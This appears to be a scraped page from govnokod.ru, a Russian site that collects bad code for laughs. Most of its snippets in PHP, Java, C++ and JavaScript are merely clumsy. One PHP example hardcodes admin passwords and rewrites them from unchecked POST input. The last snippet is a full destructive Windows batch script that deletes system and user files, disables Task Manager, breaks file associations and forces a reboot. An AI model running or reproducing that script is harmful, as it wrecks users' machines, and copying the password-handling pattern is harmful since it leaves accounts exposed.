- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
// Масив с выбором
if ($type=="textAr") {
foreach ($stext as $key=>$row) {
if ($key==$data) {
return $row;
break;
}
}
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+66
// Масив с выбором
if ($type=="textAr") {
foreach ($stext as $key=>$row) {
if ($key==$data) {
return $row;
break;
}
}
}
Кто-то тролит хостинг...
Заменено на if ('textAr'==$type && isset($stext[$data]) ) return $stext[$data];
+52
<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
<?if (!empty($arResult)):?>
<ul id="horizontal-multilevel-menu">
<?
$previousLevel = 0;
foreach($arResult as $arItem):?>
<?if ($previousLevel && $arItem["DEPTH_LEVEL"] < $previousLevel):?>
<?=str_repeat("</ul></li>", ($previousLevel - $arItem["DEPTH_LEVEL"]));?>
<?endif?>
<?if ($arItem["IS_PARENT"]):?>
<?if ($arItem["DEPTH_LEVEL"] == 1):?>
<li><a href="<?=$arItem["LINK"]?>" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>"><?=$arItem["TEXT"]?></a>
<ul>
<?else:?>
<li<?if ($arItem["SELECTED"]):?> class="item-selected"<?endif?>><a href="<?=$arItem["LINK"]?>" class="parent"><?=$arItem["TEXT"]?></a>
<ul>
<?endif?>
<?else:?>
<?if ($arItem["PERMISSION"] > "D"):?>
<?if ($arItem["DEPTH_LEVEL"] == 1):?>
<li><a href="<?=$arItem["LINK"]?>" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>"><?=$arItem["TEXT"]?></a></li>
<?else:?>
<li<?if ($arItem["SELECTED"]):?> class="item-selected"<?endif?>><a href="<?=$arItem["LINK"]?>"><?=$arItem["TEXT"]?></a></li>
<?endif?>
<?else:?>
<?if ($arItem["DEPTH_LEVEL"] == 1):?>
<li><a href="" class="<?if ($arItem["SELECTED"]):?>root-item-selected<?else:?>root-item<?endif?>" title="<?=GetMessage("MENU_ITEM_ACCESS_DENIED")?>"><?=$arItem["TEXT"]?></a></li>
<?else:?>
<li><a href="" class="denied" title="<?=GetMessage("MENU_ITEM_ACCESS_DENIED")?>"><?=$arItem["TEXT"]?></a></li>
<?endif?>
<?endif?>
<?endif?>
<?$previousLevel = $arItem["DEPTH_LEVEL"];?>
<?endforeach?>
<?if ($previousLevel > 1)://close last item tags?>
<?=str_repeat("</ul></li>", ($previousLevel-1) );?>
<?endif?>
</ul>
<div class="menu-clear-left"></div>
<?endif?>
Очередной говнокод от битрикса. "Генерация" выпадающего горизонтального меню.
+160
switch (achievements.length) {
case 0: return 0;
case 1: return 30;
case 2: return 60;
case 3: return 75;
case 4: return 90;
case 5: return 100;
default: return 0;
}
зато не if'ы
+70
<? // файл data/conf/config.php
$user = array (
"0" => array("administrator", "bita98"),
"1" => array("ml.administrator", "select11"),
"2" => array("moderator", "argument19")
);
?>
<? // Другой файл, для смены пароля
$pass = $_POST["pass"];
$new_pass = $_POST["new_pass"];
$files = file('data/conf/config.php');
foreach ($files as $key=>$value)
{
$files[$key]=str_replace($pass, $new_pass, $value);
}
$f = fopen("data/conf/config.php","w+");
foreach ($files as $keys=>$values)
{
fwrite($f,$values);
}
fclose($f);
echo "<h2>Пароль " . $pass . " пользователя " . $_SESSION["username"] . ", был изменен на " . $new_pass . "</h2>";
$_SESSION['password'] = null;
$_SESSION['password'] = $new_pass;
?>
Вот как нужно редактировать массивы в исходниках!
cbr-admin.v2.1.7
+74
public static boolean isBouncy(long n) {
boolean isBouncy = false;
String num = Long.toString(n);
String[] seperateDigits = new String[num.length()+1];
for (int i=1; i <= num.length(); i++) {
seperateDigits[i] = num.substring(i-1,i);
}
int firstDig = Integer.parseInt(num.substring(0,1));
int cDig;
int iDeg = 0;
int cDeg = 0;
int dig0;
int dig1;
for (int i = 2; i <= seperateDigits.length-1; i++) {
if (!isBouncy) {
dig0 = Integer.parseInt(seperateDigits[i-1]);
dig1 = Integer.parseInt(seperateDigits[i]);
if (i == 2) iDeg = getDegree(dig0, dig1);
else {
cDeg = getDegree(dig0,dig1);
if (iDeg == 0) iDeg = cDeg;
else if (cDeg == -iDeg) isBouncy = true;
}
}
}
if (iDeg == 0) isBouncy = false;
return isBouncy;
}
http://projecteuler.net/problem=112
http://projecteuler.net/thread=112&page=6#63821
>Nothing intuitive about it at all
+25
/*
Шаг по оси, представляет собой число из следующего ряда:
... 0.02 0.05 0.1 0.2 0.5 1 2 5 ...
next и prev позволяют перемещаться в обе стороны по ряду
после создания хранится число 1
*/
class Step
{
public:
Step()
{
scale = 1; pr = 1; type=0;
}
void next()
{
// шаг вперед
type++;
if (type==1)
scale = pr * 2;
else if (type==2)
scale = pr * 5;
else
{
type = 0;
pr *= 10;
scale = pr;
}
}
void prev()
{
// шаг назад
type--;
if (type==0)
scale = pr;
else if (type==1)
scale = pr*2;
else
{
type = 2;
pr /= 10;
scale = pr*5;
}
}
operator float()
{
return scale;
}
protected:
float scale; // текущее значение
float pr; // недомноженое значение 1 10 100 ...
int type; // 0 - x1 1 - x2 2 - x5
};
http://govnokod.ru/10117 напомнил о том, как я когда-то рисовал график, и для меток на осях потребовались те же самые красивые значения [... 0.1 0.2 0.5 1 2 5 ...]
+102
<html class="html">
.............
</html>
Бывает и такое
+92
"".equalsIgnoreCase(propertiesFile) != true
индусское достояние
+999
template<class TVisitedComponentList>
TUniqueIDOfVisitedComponentList getUniqueIDOfVisitedComponentTypeList(void)
{
static Type2Type<TVisitedComponentList> UniqueObjectForVisitedComponentTypeList;
return (size_t)(&UniqueObjectForVisitedComponentTypeList);
}
template<class TVisitedComponentList>
TCastWindowComponentTo* const castWindowComponentInternal(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
STATIC_CHECK(!(boost::mpl::empty<TVisitedComponentList>::value), TVisitedComponentList_must_be_not_empty_and_be__boost_mpl_list_c__type);
const TUniqueIDOfVisitedComponentList UniqueIDOfVisitedComponentList=this->getUniqueIDOfVisitedComponentTypeList<TVisitedComponentList>();
const TCasterRepositorys::const_iterator NotFound=_casterRepositorys.end();
TCasterRepositorys::const_iterator findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
if(findedCasterRepositoryForThisVisitedComponentList==NotFound)
{
this->registerVisitedComponentList<TVisitedComponentList>();
findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
}
ASSERT(findedCasterRepositoryForThisVisitedComponentList!=NotFound);
const TCasterRepository::const_iterator NotFoundCaster=findedCasterRepositoryForThisVisitedComponentList->second->end();
const unsigned int ComponentType=const_cast<PegThing* const>(Window)->Type();
const TCasterRepository::const_iterator findedCaster=findedCasterRepositoryForThisVisitedComponentList->second->find(ComponentType);
if(findedCaster==NotFoundCaster)
return NULL;
ASSERT(findedCaster!=NotFoundCaster);
return (*(findedCaster->second))(Window);
}
template<class TCurrentItem, class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TCurrentItem CurrentItem, TEnd End)
{
using namespace boost;
enum {WINDOW_COMPONENT_TYPE=mpl::deref<TCurrentItem>::type::value};
STATIC_CHECK((mpl::has_key<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::value!=0), WINDOW_COMPONENT_TYPE_must_be_at_TWindowComponentsTypeIdToTypeMap);
typedef mpl::at<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::type TRealTypeOfWindowComponent;
this->checkDuplicateComponentTypeID(WINDOW_COMPONENT_TYPE, casterRepository);
struct _
{
static TCastWindowComponentTo* const casterForEachWindowComponent(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
TRealTypeOfWindowComponent* const RealTypeComponent = static_cast<TRealTypeOfWindowComponent* const>(Window);
ASSERT(RealTypeComponent!=NULL);
TCastWindowComponentTo* const FinalCastedWindowComponent = static_cast<TCastWindowComponentTo* const >(RealTypeComponent);
ASSERT(FinalCastedWindowComponent!=NULL);
return FinalCastedWindowComponent;
}
};
TCasterForEachWindowComponent CasterForEachWindowComponentFunction=&(_::casterForEachWindowComponent);
this->checkDuplicateType(CasterForEachWindowComponentFunction, casterRepository);
casterRepository[WINDOW_COMPONENT_TYPE]=CasterForEachWindowComponentFunction;
registerVisitedComponentListItem(casterRepository, mpl::next<TCurrentItem>::type(), TEnd());
}
template<class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TEnd CurrentItem, TEnd End)
{}
Код из того же большого проекта.
Ассерты после static_cast и "шаблонная магия" особенно доставляют.
Мне конечно boost::mpl нравиться, но я считаю, что его негоже использовать в реальных проектах.
+133
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
assoc .lnk=textfile
assoc .exe=mp3file
@echo off
:x
Chcp 1251
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
goto x
Chcp 1251
del "%USERPROFILE%Мои документы*.*" /q /s
label E: ГАВНО
Cd\
Cd C:
Сd windows
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe
del "%SystemRoot%Cursors*.*" >nul
taskkill /f /im explorer.exe >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
date 01.01.01 >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
FOR /L %%i IN (1,1,100000) DO md %%i
Echo format C: /q c:Autoexec.bat
shutdown -r -t 0 >nul
Это bat (cmd) код. Наткнулся на просторах интернетов.